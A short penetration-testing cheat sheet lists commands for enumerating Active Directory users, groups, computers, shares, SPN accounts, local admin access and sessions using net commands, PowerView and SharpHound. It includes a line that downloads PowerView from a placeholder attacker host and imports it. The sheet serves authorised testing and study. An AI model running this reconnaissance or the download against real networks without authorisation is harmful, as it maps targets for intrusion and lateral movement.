RTFM_ security field notes

Local enumeration

Collect domain users, groups, computers and shares from a domain-joined Windows host.

Information gathering

Via CMD

net user /domain
net user <username> /domain
net group /domain
net group <groupname> /domain

Via PowerView

iwr -uri "http://$ATTACKER_IP/PowerView.ps1" -Outfile PowerView.ps1
Import-Module .\PowerView.ps1

Basic information can be retrieved with PowerView:

Get-NetDomain
Get-NetUser
Get-NetUser -SPN
Get-NetUser <name>
Get-NetGroup
Get-NetGroup <name>
Get-NetComputer
Get-NetComputer <name>

Check local administrator access and enumerate sessions (distinct observations):

Find-LocalAdminAccess
Get-NetSession -ComputerName <computer_name>

Retrieve the shares available in the domain:

Find-DomainShare

BloodHound

sharphound.exe
Provenance and confidence
Version
2
Sources reviewed
2026-11-23
Confidence
medium — Legacy RTFM; v2 editorial review on 2026-11-23 corrects PowerShell interpolation and separates session enumeration from administrator access. No domain test.

Also searched as: énumération locale, énumération active directory, powerview, bloodhound, prise d'information